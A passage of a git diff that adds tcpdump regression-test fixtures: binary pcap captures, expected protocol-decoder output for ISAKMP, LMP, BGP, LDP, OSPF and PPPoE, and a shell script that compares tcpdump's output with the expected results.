+            (v2auth: len=196 method=rsasig authdata=(000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000) ))
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/ikev2pI2.pcap b/peasoup_examples/tests/tcpdump/tcpd_tests/ikev2pI2.pcap
new file mode 100644
index 0000000000000000000000000000000000000000..8d5eb4886dcead7800cd2a749119c4746073f61d
Binary files /dev/null and b/peasoup_examples/tests/tcpdump/tcpd_tests/ikev2pI2.pcap differ
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/isakmp-delete-segfault.pcap b/peasoup_examples/tests/tcpdump/tcpd_tests/isakmp-delete-segfault.pcap
new file mode 100644
index 0000000000000000000000000000000000000000..9c4ada1678571128bf4edbf227400427e9b50499
Binary files /dev/null and b/peasoup_examples/tests/tcpdump/tcpd_tests/isakmp-delete-segfault.pcap differ
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/isakmp-identification-segfault.pcap b/peasoup_examples/tests/tcpdump/tcpd_tests/isakmp-identification-segfault.pcap
new file mode 100644
index 0000000000000000000000000000000000000000..c14f04fa31973be4db11d72e16171194b6661d77
Binary files /dev/null and b/peasoup_examples/tests/tcpdump/tcpd_tests/isakmp-identification-segfault.pcap differ
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/isakmp-pointer-loop.pcap b/peasoup_examples/tests/tcpdump/tcpd_tests/isakmp-pointer-loop.pcap
new file mode 100644
index 0000000000000000000000000000000000000000..578da0ddea540e79506d2b32cce2ebbca8d2505c
Binary files /dev/null and b/peasoup_examples/tests/tcpdump/tcpd_tests/isakmp-pointer-loop.pcap differ
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/isakmp1.out b/peasoup_examples/tests/tcpdump/tcpd_tests/isakmp1.out
new file mode 100644
index 0000000000000000000000000000000000000000..355a8ea3a49dd9e1370ac7a426dfafc226d622bd
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/isakmp1.out
@@ -0,0 +1 @@
+IP 127.0.0.1.500 > 127.0.0.1.500: isakmp:
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/isakmp2.out b/peasoup_examples/tests/tcpdump/tcpd_tests/isakmp2.out
new file mode 100644
index 0000000000000000000000000000000000000000..44c28db87b15a4a38add752c2caabc552d601a29
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/isakmp2.out
@@ -0,0 +1 @@
+IP 129.170.249.126.500 > 129.170.249.87.500: isakmp: phase 1 ? base
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/isakmp3.out b/peasoup_examples/tests/tcpdump/tcpd_tests/isakmp3.out
new file mode 100644
index 0000000000000000000000000000000000000000..86192639628f89b67473d7f18ee77bbff7ccc9bf
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/isakmp3.out
@@ -0,0 +1,3 @@
+IP (tos 0x0, ttl 255, id 41068, offset 0, flags [none], proto UDP (17), length 312)
+    127.0.0.1.501 > 127.0.0.1.500: isakmp 1.0 msgid 00000000: phase 1 I ident:
+    (id: idtype=FQDN protoid=0 port=0 len=248 \0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00\0x00)
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/isakmp4.out b/peasoup_examples/tests/tcpdump/tcpd_tests/isakmp4.out
new file mode 100644
index 0000000000000000000000000000000000000000..0de3ebcc2ab842e8d63cf1844c947fd28488925f
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/isakmp4.out
@@ -0,0 +1,35 @@
+ARP, Request who-has 192.1.2.23 tell 192.1.2.254, length 28
+ARP, Reply 192.1.2.23 is-at 10:00:00:64:64:23, length 28
+IP 192.1.2.254.500 > 192.1.2.23.500: isakmp: phase 1 I ident
+IP 192.1.2.23.500 > 192.1.2.254.500: isakmp: phase 1 R ident
+IP 192.1.2.254.500 > 192.1.2.23.500: isakmp: phase 1 I ident
+IP 192.1.2.23.500 > 192.1.2.254.500: isakmp: phase 1 R ident
+IP 192.1.2.254.4500 > 192.1.2.23.4500: NONESP-encap: isakmp: phase 1 I ident[E]
+IP 192.1.2.23.4500 > 192.1.2.254.4500: NONESP-encap: isakmp: phase 1 R ident[E]
+IP 192.1.2.254.4500 > 192.1.2.23.4500: NONESP-encap: isakmp: phase 2/others I oakley-quick[E]
+IP 192.1.2.23.4500 > 192.1.2.254.4500: NONESP-encap: isakmp: phase 2/others R oakley-quick[E]
+IP 192.1.2.254.4500 > 192.1.2.23.4500: NONESP-encap: isakmp: phase 2/others I oakley-quick[E]
+IP 192.1.2.254.4500 > 192.1.2.23.4500: UDP-encap: ESP(spi=0xf4dc0ae5,seq=0x1), length 132
+ARP, Request who-has 192.1.2.254 tell 192.1.2.23, length 28
+ARP, Reply 192.1.2.254 is-at 10:00:00:de:ad:ba, length 28
+IP 192.1.2.23.4500 > 192.1.2.254.4500: NONESP-encap: isakmp: phase 2/others R oakley-quick[E]
+IP 192.1.2.254.4500 > 192.1.2.23.4500: NONESP-encap: isakmp: phase 2/others I oakley-quick[E]
+IP 192.1.2.254.4500 > 192.1.2.23.4500: UDP-encap: ESP(spi=0xf4dc0ae5,seq=0x2), length 132
+IP 192.1.2.254.4500 > 192.1.2.23.4500: isakmp-nat-keep-alive
+IP 192.1.2.254.4500 > 192.1.2.23.4500: UDP-encap: ESP(spi=0xf4dc0ae5,seq=0x3), length 132
+IP 192.1.2.23.4500 > 192.1.2.254.4500: NONESP-encap: isakmp: phase 2/others R oakley-quick[E]
+IP 192.1.2.254.4500 > 192.1.2.23.4500: NONESP-encap: isakmp: phase 2/others I oakley-quick[E]
+IP 192.1.2.254.4500 > 192.1.2.23.4500: UDP-encap: ESP(spi=0xf4dc0ae5,seq=0x4), length 132
+IP 192.1.2.254.4500 > 192.1.2.23.4500: isakmp-nat-keep-alive
+IP 192.1.2.254.4500 > 192.1.2.23.4500: UDP-encap: ESP(spi=0xf4dc0ae5,seq=0x5), length 132
+IP 192.1.2.254.4500 > 192.1.2.23.4500: UDP-encap: ESP(spi=0xf4dc0ae5,seq=0x6), length 132
+ARP, Request who-has 192.1.2.23 tell 192.1.2.254, length 28
+ARP, Reply 192.1.2.23 is-at 10:00:00:64:64:23, length 28
+IP 192.1.2.254.4500 > 192.1.2.23.4500: isakmp-nat-keep-alive
+IP 192.1.2.254.4500 > 192.1.2.23.4500: UDP-encap: ESP(spi=0xf4dc0ae5,seq=0x7), length 132
+IP 192.1.2.23.4500 > 192.1.2.254.4500: NONESP-encap: isakmp: phase 2/others R oakley-quick[E]
+IP 192.1.2.254.4500 > 192.1.2.23.4500: UDP-encap: ESP(spi=0xf4dc0ae5,seq=0x8), length 132
+ARP, Request who-has 192.1.2.254 tell 192.1.2.23, length 28
+ARP, Reply 192.1.2.254 is-at 10:00:00:de:ad:ba, length 28
+IP 192.1.2.254.4500 > 192.1.2.23.4500: isakmp-nat-keep-alive
+IP 192.1.2.23.4500 > 192.1.2.254.4500: NONESP-encap: isakmp: phase 2/others R inf[E]
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/isakmp4500.pcap b/peasoup_examples/tests/tcpdump/tcpd_tests/isakmp4500.pcap
new file mode 100644
index 0000000000000000000000000000000000000000..8ff5ab45b98eec494e90b134eb2bc703aff5ba51
Binary files /dev/null and b/peasoup_examples/tests/tcpdump/tcpd_tests/isakmp4500.pcap differ
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/isis-infinite-loop.pcap b/peasoup_examples/tests/tcpdump/tcpd_tests/isis-infinite-loop.pcap
new file mode 100644
index 0000000000000000000000000000000000000000..b482fc850d01ee6a08554d4bce1838e59f1d60a5
Binary files /dev/null and b/peasoup_examples/tests/tcpdump/tcpd_tests/isis-infinite-loop.pcap differ
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/ldp-infinite-loop.pcap b/peasoup_examples/tests/tcpdump/tcpd_tests/ldp-infinite-loop.pcap
new file mode 100644
index 0000000000000000000000000000000000000000..ea31f0c06f3ec61999b1de0186618b81e0627283
Binary files /dev/null and b/peasoup_examples/tests/tcpdump/tcpd_tests/ldp-infinite-loop.pcap differ
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/lmp.new b/peasoup_examples/tests/tcpdump/tcpd_tests/lmp.new
new file mode 100644
index 0000000000000000000000000000000000000000..2739d9fad254743d47a2cf034da60ab6a4b98228
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/lmp.new
@@ -0,0 +1,36 @@
+IP (tos 0x0, ttl 1, id 44530, offset 0, flags [none], proto UDP (17), length 84)
+    10.0.12.1.49998 > 10.0.12.2.49998: [no cksum] UDP, length 56
+IP (tos 0x0, ttl 1, id 44531, offset 0, flags [none], proto UDP (17), length 56)
+    10.0.12.1.49998 > 10.0.12.2.49998: [no cksum] UDP, length 28
+IP (tos 0x0, ttl 1, id 44532, offset 0, flags [none], proto UDP (17), length 84)
+    10.0.12.1.49998 > 10.0.12.2.49998: [no cksum] UDP, length 56
+IP (tos 0x0, ttl 1, id 44533, offset 0, flags [none], proto UDP (17), length 76)
+    10.0.12.1.49998 > 10.0.12.2.49998: [no cksum] UDP, length 48
+IP (tos 0x0, ttl 1, id 44534, offset 0, flags [none], proto UDP (17), length 68)
+    10.0.12.1.49998 > 10.0.12.2.49998: [no cksum] UDP, length 40
+IP (tos 0x0, ttl 1, id 44535, offset 0, flags [none], proto UDP (17), length 44)
+    10.0.12.1.49998 > 10.0.12.2.49998: [no cksum] UDP, length 16
+IP (tos 0x0, ttl 1, id 44536, offset 0, flags [none], proto UDP (17), length 124)
+    10.0.12.1.49998 > 10.0.12.2.49998: [no cksum] UDP, length 96
+IP (tos 0x0, ttl 1, id 44537, offset 0, flags [none], proto UDP (17), length 68)
+    10.0.12.1.49998 > 10.0.12.2.49998: [no cksum] UDP, length 40
+IP (tos 0x0, ttl 1, id 44538, offset 0, flags [none], proto UDP (17), length 60)
+    10.0.12.1.49998 > 10.0.12.2.49998: [no cksum] UDP, length 32
+IP (tos 0x0, ttl 1, id 44539, offset 0, flags [none], proto UDP (17), length 52)
+    10.0.12.1.49998 > 10.0.12.2.49998: [no cksum] UDP, length 24
+IP (tos 0x0, ttl 1, id 44540, offset 0, flags [none], proto UDP (17), length 52)
+    10.0.12.1.49998 > 10.0.12.2.49998: [no cksum] UDP, length 24
+IP (tos 0x0, ttl 1, id 44541, offset 0, flags [none], proto UDP (17), length 52)
+    10.0.12.1.49998 > 10.0.12.2.49998: [no cksum] UDP, length 24
+IP (tos 0x0, ttl 1, id 44542, offset 0, flags [none], proto UDP (17), length 52)
+    10.0.12.1.49998 > 10.0.12.2.49998: [no cksum] UDP, length 24
+IP (tos 0x0, ttl 1, id 44543, offset 0, flags [none], proto UDP (17), length 52)
+    10.0.12.1.49998 > 10.0.12.2.49998: [no cksum] UDP, length 24
+IP (tos 0x0, ttl 1, id 44544, offset 0, flags [none], proto UDP (17), length 44)
+    10.0.12.1.49998 > 10.0.12.2.49998: [no cksum] UDP, length 16
+IP (tos 0x0, ttl 1, id 44545, offset 0, flags [none], proto UDP (17), length 64)
+    10.0.12.1.49998 > 10.0.12.2.49998: [no cksum] UDP, length 36
+IP (tos 0x0, ttl 1, id 44546, offset 0, flags [none], proto UDP (17), length 72)
+    10.0.12.1.49998 > 10.0.12.2.49998: [no cksum] UDP, length 44
+IP (tos 0x0, ttl 1, id 44547, offset 0, flags [none], proto UDP (17), length 64)
+    10.0.12.1.49998 > 10.0.12.2.49998: [no cksum] UDP, length 36
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/lmp.out b/peasoup_examples/tests/tcpdump/tcpd_tests/lmp.out
new file mode 100644
index 0000000000000000000000000000000000000000..2739d9fad254743d47a2cf034da60ab6a4b98228
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/lmp.out
@@ -0,0 +1,36 @@
+IP (tos 0x0, ttl 1, id 44530, offset 0, flags [none], proto UDP (17), length 84)
+    10.0.12.1.49998 > 10.0.12.2.49998: [no cksum] UDP, length 56
+IP (tos 0x0, ttl 1, id 44531, offset 0, flags [none], proto UDP (17), length 56)
+    10.0.12.1.49998 > 10.0.12.2.49998: [no cksum] UDP, length 28
+IP (tos 0x0, ttl 1, id 44532, offset 0, flags [none], proto UDP (17), length 84)
+    10.0.12.1.49998 > 10.0.12.2.49998: [no cksum] UDP, length 56
+IP (tos 0x0, ttl 1, id 44533, offset 0, flags [none], proto UDP (17), length 76)
+    10.0.12.1.49998 > 10.0.12.2.49998: [no cksum] UDP, length 48
+IP (tos 0x0, ttl 1, id 44534, offset 0, flags [none], proto UDP (17), length 68)
+    10.0.12.1.49998 > 10.0.12.2.49998: [no cksum] UDP, length 40
+IP (tos 0x0, ttl 1, id 44535, offset 0, flags [none], proto UDP (17), length 44)
+    10.0.12.1.49998 > 10.0.12.2.49998: [no cksum] UDP, length 16
+IP (tos 0x0, ttl 1, id 44536, offset 0, flags [none], proto UDP (17), length 124)
+    10.0.12.1.49998 > 10.0.12.2.49998: [no cksum] UDP, length 96
+IP (tos 0x0, ttl 1, id 44537, offset 0, flags [none], proto UDP (17), length 68)
+    10.0.12.1.49998 > 10.0.12.2.49998: [no cksum] UDP, length 40
+IP (tos 0x0, ttl 1, id 44538, offset 0, flags [none], proto UDP (17), length 60)
+    10.0.12.1.49998 > 10.0.12.2.49998: [no cksum] UDP, length 32
+IP (tos 0x0, ttl 1, id 44539, offset 0, flags [none], proto UDP (17), length 52)
+    10.0.12.1.49998 > 10.0.12.2.49998: [no cksum] UDP, length 24
+IP (tos 0x0, ttl 1, id 44540, offset 0, flags [none], proto UDP (17), length 52)
+    10.0.12.1.49998 > 10.0.12.2.49998: [no cksum] UDP, length 24
+IP (tos 0x0, ttl 1, id 44541, offset 0, flags [none], proto UDP (17), length 52)
+    10.0.12.1.49998 > 10.0.12.2.49998: [no cksum] UDP, length 24
+IP (tos 0x0, ttl 1, id 44542, offset 0, flags [none], proto UDP (17), length 52)
+    10.0.12.1.49998 > 10.0.12.2.49998: [no cksum] UDP, length 24
+IP (tos 0x0, ttl 1, id 44543, offset 0, flags [none], proto UDP (17), length 52)
+    10.0.12.1.49998 > 10.0.12.2.49998: [no cksum] UDP, length 24
+IP (tos 0x0, ttl 1, id 44544, offset 0, flags [none], proto UDP (17), length 44)
+    10.0.12.1.49998 > 10.0.12.2.49998: [no cksum] UDP, length 16
+IP (tos 0x0, ttl 1, id 44545, offset 0, flags [none], proto UDP (17), length 64)
+    10.0.12.1.49998 > 10.0.12.2.49998: [no cksum] UDP, length 36
+IP (tos 0x0, ttl 1, id 44546, offset 0, flags [none], proto UDP (17), length 72)
+    10.0.12.1.49998 > 10.0.12.2.49998: [no cksum] UDP, length 44
+IP (tos 0x0, ttl 1, id 44547, offset 0, flags [none], proto UDP (17), length 64)
+    10.0.12.1.49998 > 10.0.12.2.49998: [no cksum] UDP, length 36
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/lmp.pcap b/peasoup_examples/tests/tcpdump/tcpd_tests/lmp.pcap
new file mode 100644
index 0000000000000000000000000000000000000000..a07e3bbb87d763574a2e6924b8fd77f64694309a
Binary files /dev/null and b/peasoup_examples/tests/tcpdump/tcpd_tests/lmp.pcap differ
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/lmp.sh b/peasoup_examples/tests/tcpdump/tcpd_tests/lmp.sh
new file mode 100755
index 0000000000000000000000000000000000000000..d974cb18137afb60e75aeb9b12337d9fac213e6f
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/lmp.sh
@@ -0,0 +1,12 @@
+#!/bin/sh
+
+echo -n test lmp ...
+../tcpdump -t -n -v -v -v -r lmp.pcap >lmp.new
+if diff lmp.new lmp.out
+then
+	echo passed.
+else
+	echo failed.
+fi
+	
+
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/lspping-fec-ldp.pcap b/peasoup_examples/tests/tcpdump/tcpd_tests/lspping-fec-ldp.pcap
new file mode 100644
index 0000000000000000000000000000000000000000..87e86c79e6d974f2a523186347bf0813a84e71db
Binary files /dev/null and b/peasoup_examples/tests/tcpdump/tcpd_tests/lspping-fec-ldp.pcap differ
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/lspping-fec-rsvp.pcap b/peasoup_examples/tests/tcpdump/tcpd_tests/lspping-fec-rsvp.pcap
new file mode 100644
index 0000000000000000000000000000000000000000..d9dcf544d8eb645a2130b7ceca07f756707d1f02
Binary files /dev/null and b/peasoup_examples/tests/tcpdump/tcpd_tests/lspping-fec-rsvp.pcap differ
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/mpbgp-linklocal-nexthop.out b/peasoup_examples/tests/tcpdump/tcpd_tests/mpbgp-linklocal-nexthop.out
new file mode 100644
index 0000000000000000000000000000000000000000..337f0d8d7b5cb253d044831cfbab235db8585fa1
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/mpbgp-linklocal-nexthop.out
@@ -0,0 +1,10 @@
+IP (tos 0xc0, ttl 64, id 22725, offset 0, flags [DF], proto TCP (6), length 142)
+    30.0.0.1.49038 > 30.0.0.2.179: Flags [P.], cksum 0xd6dc (correct), seq 1284816775:1284816865, ack 1288709908, win 29, options [nop,nop,TS val 184150022 ecr 184150021], length 90: BGP, length: 90
+	Update Message (2), length: 90
+	  Origin (1), length: 1, Flags [T]: Incomplete
+	  AS Path (2), length: 4, Flags [T]: 1 
+	  Next Hop (3), length: 4, Flags [T]: 0.0.0.0
+	  Multi-Protocol Reach NLRI (14), length: 46, Flags [O]: 
+	    AFI: IPv6 (2), SAFI: Unicast (1)
+	    nexthop: dead:beef::1, fe80::1ff:fe01:0, nh-length: 32, no SNPA
+	      4:5::/64
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/mpbgp-linklocal-nexthop.pcap b/peasoup_examples/tests/tcpdump/tcpd_tests/mpbgp-linklocal-nexthop.pcap
new file mode 100644
index 0000000000000000000000000000000000000000..1ac823decc74fa3f0ec7459fd3066b65e232c1f8
Binary files /dev/null and b/peasoup_examples/tests/tcpdump/tcpd_tests/mpbgp-linklocal-nexthop.pcap differ
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/mpls-ldp-hello.out b/peasoup_examples/tests/tcpdump/tcpd_tests/mpls-ldp-hello.out
new file mode 100644
index 0000000000000000000000000000000000000000..a8b237327c19a1921df0fc9f142aa14867dc6e9e
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/mpls-ldp-hello.out
@@ -0,0 +1,10 @@
+IP (tos 0xc0, ttl 1, id 15579, offset 0, flags [none], proto UDP (17), length 70)
+    10.1.1.3.646 > 224.0.0.2.646: 
+	LDP, Label-Space-ID: 10.1.0.2:0, pdu-length: 38
+	  Hello Message (0x0100), length: 28, Message ID: 0x00011970, Flags: [ignore if unknown]
+	    Common Hello Parameters TLV (0x0400), length: 4, Flags: [ignore and don't forward if unknown]
+	      Hold Time: 15s, Flags: [Link Hello]
+	    IPv4 Transport Address TLV (0x0401), length: 4, Flags: [ignore and don't forward if unknown]
+	      IPv4 Transport Address: 10.1.0.2
+	    Configuration Sequence Number TLV (0x0402), length: 4, Flags: [ignore and don't forward if unknown]
+	      Sequence Number: 1
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/mpls-ldp-hello.pcap b/peasoup_examples/tests/tcpdump/tcpd_tests/mpls-ldp-hello.pcap
new file mode 100644
index 0000000000000000000000000000000000000000..a4a42b71e6696ed176dc8c9e81a2f3d895fddc18
Binary files /dev/null and b/peasoup_examples/tests/tcpdump/tcpd_tests/mpls-ldp-hello.pcap differ
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/mpls-traceroute.pcap b/peasoup_examples/tests/tcpdump/tcpd_tests/mpls-traceroute.pcap
new file mode 100644
index 0000000000000000000000000000000000000000..ac0b6b3a1ed04f2c8ccce107310ca86bd91e9610
Binary files /dev/null and b/peasoup_examples/tests/tcpdump/tcpd_tests/mpls-traceroute.pcap differ
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/msnlb.out b/peasoup_examples/tests/tcpdump/tcpd_tests/msnlb.out
new file mode 100644
index 0000000000000000000000000000000000000000..194dbcd1732a9deabe078e85ef47ddf2cdc0500c
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/msnlb.out
@@ -0,0 +1,2 @@
+MS NLB heartbeat, host priority: 2, cluster IP: 192.168.100.80, host IP: 192.168.100.82
+MS NLB heartbeat, host priority: 1, cluster IP: 192.168.100.80, host IP: 192.168.100.81
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/msnlb.pcap b/peasoup_examples/tests/tcpdump/tcpd_tests/msnlb.pcap
new file mode 100644
index 0000000000000000000000000000000000000000..dab88fe27550f526bcd0262c2aaa735b6b554742
Binary files /dev/null and b/peasoup_examples/tests/tcpdump/tcpd_tests/msnlb.pcap differ
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/msnlb2.out b/peasoup_examples/tests/tcpdump/tcpd_tests/msnlb2.out
new file mode 100644
index 0000000000000000000000000000000000000000..00fc1a66fc61b1977a1f897ae8175cdb1ca05a9e
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/msnlb2.out
@@ -0,0 +1,2 @@
+[|MS NLB]
+[|MS NLB]
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/msnlb2.pcap b/peasoup_examples/tests/tcpdump/tcpd_tests/msnlb2.pcap
new file mode 100644
index 0000000000000000000000000000000000000000..270476d26e14bbc410fdb72454db7d66c8e7fa87
Binary files /dev/null and b/peasoup_examples/tests/tcpdump/tcpd_tests/msnlb2.pcap differ
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/ospf-gmpls.out b/peasoup_examples/tests/tcpdump/tcpd_tests/ospf-gmpls.out
new file mode 100644
index 0000000000000000000000000000000000000000..e4dd9ab69c3b82a2ba332414d645664eaa9ad292
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/ospf-gmpls.out
@@ -0,0 +1,86 @@
+IP (tos 0xc0, ttl 1, id 4052, offset 0, flags [none], proto OSPF (89), length 172)
+    40.35.1.2 > 224.0.0.5: OSPFv2, LS-Update, length 152
+	Router-ID 10.255.245.35, Backbone Area, Authentication Type: none (0), 1 LSA
+	  LSA #1
+	  Advertising Router 10.255.245.37, seq 0x80000002, age 9s, length 104
+	    Area Local Opaque LSA (10), Opaque-Type Traffic Engineering LSA (1), Opaque-ID 8
+	    Options: [External]
+	    Link TLV (2), length: 100
+	      Link Type subTLV (1), length: 1, Point-to-point (1)
+	      Link ID subTLV (2), length: 4, 10.255.245.69 (0x0afff545)
+	      Local Interface IP address subTLV (3), length: 4, 10.9.142.1
+	      Remote Interface IP address subTLV (4), length: 4, 10.9.142.2
+	      Traffic Engineering Metric subTLV (5), length: 4, Metric 63
+	      Maximum Bandwidth subTLV (6), length: 4, 622.080 Mbps
+	      Maximum Reservable Bandwidth subTLV (7), length: 4, 622.080 Mbps
+	      Unreserved Bandwidth subTLV (8), length: 32
+		TE-Class 0: 622.080 Mbps
+		TE-Class 1: 622.080 Mbps
+		TE-Class 2: 622.080 Mbps
+		TE-Class 3: 622.080 Mbps
+		TE-Class 4: 622.080 Mbps
+		TE-Class 5: 622.080 Mbps
+		TE-Class 6: 622.080 Mbps
+		TE-Class 7: 622.080 Mbps
+	      Administrative Group subTLV (9), length: 4, 0x00000000
+IP (tos 0xc0, ttl 1, id 4106, offset 0, flags [none], proto OSPF (89), length 172)
+    40.35.1.2 > 224.0.0.5: OSPFv2, LS-Update, length 152
+	Router-ID 10.255.245.35, Backbone Area, Authentication Type: none (0), 1 LSA
+	  LSA #1
+	  Advertising Router 10.255.245.37, seq 0x80000002, age 9s, length 104
+	    Area Local Opaque LSA (10), Opaque-Type Traffic Engineering LSA (1), Opaque-ID 9
+	    Options: [External]
+	    Link TLV (2), length: 100
+	      Link Type subTLV (1), length: 1, Point-to-point (1)
+	      Link ID subTLV (2), length: 4, 10.255.245.69 (0x0afff545)
+	      Local Interface IP address subTLV (3), length: 4, 10.9.143.1
+	      Remote Interface IP address subTLV (4), length: 4, 10.9.143.2
+	      Traffic Engineering Metric subTLV (5), length: 4, Metric 63
+	      Maximum Bandwidth subTLV (6), length: 4, 622.080 Mbps
+	      Maximum Reservable Bandwidth subTLV (7), length: 4, 622.080 Mbps
+	      Unreserved Bandwidth subTLV (8), length: 32
+		TE-Class 0: 622.080 Mbps
+		TE-Class 1: 622.080 Mbps
+		TE-Class 2: 622.080 Mbps
+		TE-Class 3: 622.080 Mbps
+		TE-Class 4: 622.080 Mbps
+		TE-Class 5: 622.080 Mbps
+		TE-Class 6: 622.080 Mbps
+		TE-Class 7: 622.080 Mbps
+	      Administrative Group subTLV (9), length: 4, 0x00000000
+IP (tos 0xc0, ttl 1, id 4160, offset 0, flags [none], proto OSPF (89), length 212)
+    40.35.1.2 > 224.0.0.5: OSPFv2, LS-Update, length 192
+	Router-ID 10.255.245.35, Backbone Area, Authentication Type: none (0), 1 LSA
+	  LSA #1
+	  Advertising Router 10.255.245.35, seq 0x80000003, age 3s, length 144
+	    Area Local Opaque LSA (10), Opaque-Type Traffic Engineering LSA (1), Opaque-ID 3
+	    Options: [External]
+	    Link TLV (2), length: 140
+	      Link Type subTLV (1), length: 1, Point-to-point (1)
+	      Link ID subTLV (2), length: 4, 10.255.245.40 (0x0afff528)
+	      Local Interface IP address subTLV (3), length: 4, 10.40.35.14
+	      Remote Interface IP address subTLV (4), length: 4, 10.40.35.13
+	      Traffic Engineering Metric subTLV (5), length: 4, Metric 1
+	      Maximum Bandwidth subTLV (6), length: 4, 100.000 Mbps
+	      Maximum Reservable Bandwidth subTLV (7), length: 4, 100.000 Mbps
+	      Unreserved Bandwidth subTLV (8), length: 32
+		TE-Class 0: 0.000 Mbps
+		TE-Class 1: 0.000 Mbps
+		TE-Class 2: 0.000 Mbps
+		TE-Class 3: 0.000 Mbps
+		TE-Class 4: 0.000 Mbps
+		TE-Class 5: 0.000 Mbps
+		TE-Class 6: 0.000 Mbps
+		TE-Class 7: 0.000 Mbps
+	      Interface Switching Capability subTLV (15), length: 44
+		Interface Switching Capability: Packet-Switch Capable-1
+		LSP Encoding: Ethernet V2/DIX
+		Max LSP Bandwidth:
+		  priority level 0: 0.000 Mbps
+		  priority level 1: 0.000 Mbps
+		  priority level 2: 0.000 Mbps
+		  priority level 3: 0.000 Mbps
+		  priority level 4: 0.000 Mbps
+		  priority level 5: 0.000 Mbps
+		  priority level 6: 0.000 Mbps
+		  priority level 7: 0.000 Mbps
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/ospf-gmpls.pcap b/peasoup_examples/tests/tcpdump/tcpd_tests/ospf-gmpls.pcap
new file mode 100644
index 0000000000000000000000000000000000000000..d36982a1e0ffa54c3b58328ae9fd7ea05f64f6dd
Binary files /dev/null and b/peasoup_examples/tests/tcpdump/tcpd_tests/ospf-gmpls.pcap differ
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/pppoe.out b/peasoup_examples/tests/tcpdump/tcpd_tests/pppoe.out
new file mode 100644
index 0000000000000000000000000000000000000000..b8f95e0c68bc89466334d2173f53004f63b3c753
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/pppoe.out
@@ -0,0 +1 @@
+PPPoE PADI [Service-Name] [PPP-Max-Payload 0x05DC] [Host-Uniq 0x16372C16]
